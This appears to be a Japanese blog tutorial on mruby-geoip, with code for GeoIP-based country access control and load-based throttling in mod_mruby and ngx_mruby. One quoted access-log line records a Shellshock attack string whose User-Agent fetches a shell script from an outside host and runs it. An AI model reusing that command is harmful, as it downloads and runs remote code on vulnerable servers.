mod_mruby ngx_mruby advent calendar 2014 13日目の記事になります。
12日目は @ainoya さんの「mod_mrubyでJWTベースの認証proxyを作る」でした。
Apacheでもnginxでも、GeoIPの地理情報を使ってアクセス制御をすることができます。ですが、mod_mrubyやngx_mrubyを使って、同じような書き方でアクセス制御を書いたり、あるいは、他の条件と組み合わせてもっとプログラマブルにアクセス制御したいという要求があります。
そこで、mruby-geoipという、mrubyからGeoIP(City)情報を取得するmgemを作りました。そして、それをmod_mrubyとngx_mrubyと組み合わせる事で、上記のような要求を解決してみました。
今日はmruby-geoipとmod_mruby・ngx_mrubyの組み合わせ例から始まり、最終的にはGeoIPと他のパラメータを利用してアクセス集中対策をする簡単な例を紹介したいと思います。
また、このエントリによって自分が使いたい機能を持ったmgemを作れば、mod_mrubyやngx_mruby共にどんどん夢が広がっていく事もわかるかと思います。
mruby-geoipの簡単な紹介
まずは、前々から欲しかったGeoIPのmruby bindngであるmruby-geoipを簡単に紹介します。といっても、使い方は簡単なので、以下のようなサンプルを見ると大体わかるでしょう。
db_path = "/usr/share/GeoIP/GeoIPCity.dat"
host = "www.google.com"
geoip = GeoIP.new db_path
# You can use record_by_addr when using IP address into host
geoip.record_by_name host
geoip.country_code #=> "US"
geoip.region #=> "CA"
geoip.region_name #=> "California"
geoip.city #=> "Mountain View"
geoip.postal_code #=> "94043"
geoip.latitude.round(4) #=> 37.4192
geoip.longitude.round(4) #=> -122.0574
geoip.metro_code #=> 807
geoip.area_code #=> 650
geoip.time_zone #=> "America/Los_Angeles"
このように、ホスト名やIPアドレスから地理情報を得る事ができます。
mod_mrubyでGeoIPを使って国別アクセス制御
では実際に、mod_mrubyとmruby-geoipを連携して国別にアクセス制御する機能を実装してみましょう。
Apacheの設定とフックスクリプト
動作の設計としては、
- workerプロセスが起動するタイミングでGeoIPCity.datを読込み
- リクエストを受けた後のアクセスチェックフェーズで日本以外は拒否
- 許可されたリクエストはレスポンスにGeoIPCityデータから地図上の位置等を生成
という流れにします。その場合、サンプルは以下のようになります。
mrubyChildInitMiddle /etc/apache2/hooks/geo_init.rb
<Location />
mrubyAccessCheckerMiddle /etc/apache2/hooks/geo_check.rb
mrubyHandlerMiddle /etc/apache2/hooks/geo_handler.rb
</Location>
Userdata.new("geoip_#{Process.pid}").geoip = GeoIP.new("/usr/share/GeoIP/GeoIPCity.dat")
Server = get_server_class
geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip
if geoip.country_code != "JP"
Server.return Server::HTTP_FORBIDDEN
end
Server = get_server_class
r = Server::Request.new
c = Server::Connection.new
geoip = Userdata.new("geoip_#{Process.pid}").geoip
r.content_type = "text/html"
Server.echo "<HEAD><TITLE>your information</TITLE></HEAD><BODY>"
Server.echo "Your IP Address is #{c.remote_ip}<br>"
Server.echo "Your Country Code is #{geoip.country_code}<br>"
Server.echo "Your city is #{geoip.city}<br>"
Server.echo "Your region is #{geoip.region}<br>"
Server.echo "your are at <a href='http://maps.google.com/maps?q=#{geoip.latitude},#{geoip.longitude}'>this pin</a><br>"
Server.echo "</BODY>"
ブラウザからアクセスすると、IPやカントリーコード情報、Google Map上の位置等がレスポンスとして返って来ます。
簡単ですね。
ngx_mrubyでもGeoIPを使ってアクセス制御
続いてngx_mrubyでも上記と同様の仕組みを実装してみましょう。
nginxの設定とフックスクリプト
.
.
.
といっても、勘の良い方はもうすでに分かっていると思いますが、今回実装したフックスクリプトはngx_mrubyでもそのまま動きます。
つまり、nginxの設定に以下の様にスクリプトをフックする設定を書くだけで良いのです。
http {
# (snip)
mruby_init_worker /etc/apache2/hooks/geo_init.rb;
# (snip)
server {
# (snip)
location / {
mruby_access_handler /etc/apache2/hooks/geo_check.rb;
mruby_content_handler /etc/apache2/hooks/geo_handler.rb;
}
# (snip)
}
}
簡単ですね。同様のレスポンスが返ります。
ngx_mrubyでもう少し色々弄ってみる
ngx_mrubyでのサンプルがあまりに簡単なので、もう少しngx_mrubyの場合にどういうことができるか弄ってみます。
ログにカントリーコードを残す
カントリーコードをログに残したい場合もあります。もちろんこれは、既存のnginxのgeoipモジュールでも実現できますが、ngx_mrubyだとどう実装するのかというと、ngx_mrubyで任意のnginxの変数を作ってあげて、そこにカントリーコードをいれておけばよさそうですね。
以下nginxの設定とフックスクリプトになります。上記の設定に追加する形で書きます。
http {
# (snip)
mruby_init_worker /etc/apache2/hooks/geo_init.rb;
# (snip)
# 最後に$geo_countryを追記
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for" "$geo_country"';
access_log logs/access.log main;
server {
# (snip)
location / {
mruby_access_handler /etc/apache2/hooks/geo_check.rb;
# $geo_countryにカントリーコードを入れるようにフック作成
mruby_set $geo_country /etc/apache2/hooks/geo_val.rb;
mruby_content_handler /etc/apache2/hooks/geo_handler.rb;
}
# (snip)
}
}
Server = get_server_class
geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip
geoip.country_code
すると、以下のようにログにちゃんとカントリーコードが出力されましたね。
***.***.***.*** - - [12/Dec/2014:15:44:04 +0900] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 403 168 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1" "-" "MY"
なんかきっついの来てますね...
アクティブコネクションの増減とカントリーコードでアクセス制御
せっかくRubyでGeoIPの情報を利用しつつプログラマブルにアクセス制御を書けるので、他の例も考えてみましょう。
ngx_mrubyの場合
例えば、サーバにアクセスのあるアクティブコネクションの数がある閾値を超えた場合に、優先的に日本以外からのアクセスを一時的に制限する、といったことも可能ですね。
例えば以下のように書くと、
Server = get_server_class
dos_limit = 1000
geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip
r = Server::Request.new
if r.var.connections_active.to_i > dos_limit
if geoip.country_code != "JP"
Server.return Server:: HTTP_SERVICE_UNAVAILABLE
end
end
アクティブコネクションが1000を越えだしたら、カントリーコードがJP以外はHTTP_SERVICE_UNAVAILABLEを返す、といったような処理になります。これをmruby_access_handler
でフックさせると良いでしょう。
非常に簡単に書けますね。
mod_mrubyの場合
ついでなので、mod_mrubyの場合も考えてみましょう。mod_mrubyではApahce::Scoreboard
でアクセス状況が色々と取得できるので、それを利用しましょう。
busyworkerが全体のworkerの90%を占めたら日本からのアクセスだけを許可する場合は以下のようなコードになるでしょう。
Server = get_server_class
busy_limit = 90
geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip
sb = Server::Scoreboard.new
busy_rate = sb.busy_worker / (sb.server_limit * sb.thread_limit) * 100
if busy_rate > busy_limit
if geoip.country_code != "JP"
Server.return Server:: HTTP_SERVICE_UNAVAILABLE
end
end
これまた簡単ですね。
まとめ
ということで、今回はGeoIPのmgemを作ることで、mod_mrubyやngx_mrubyで同様のコードでアクセス制御を実装できたり、他のサーバ情報と組み合わせる事で、単一のGeoIP機能を使うよりも、より高度なアクセス制御を実装できる事を確認できました。
また、mruby-geoipのように、自分の欲しい機能をmgemとして実装することで、mod_mrubyやngx_mrubyでどんどん応用される事ができ、Webサーバの振る舞いをプログラミングするという視点でどんどん夢が広がりますね。
是非、色々な機能をmgemで作って遊んでみてください。
ということで、mod_mruby ngx_mruby advent calendar 14日目は @takipone さんの「AWSとの組み合わせネタ書きます!」です。お楽しみに!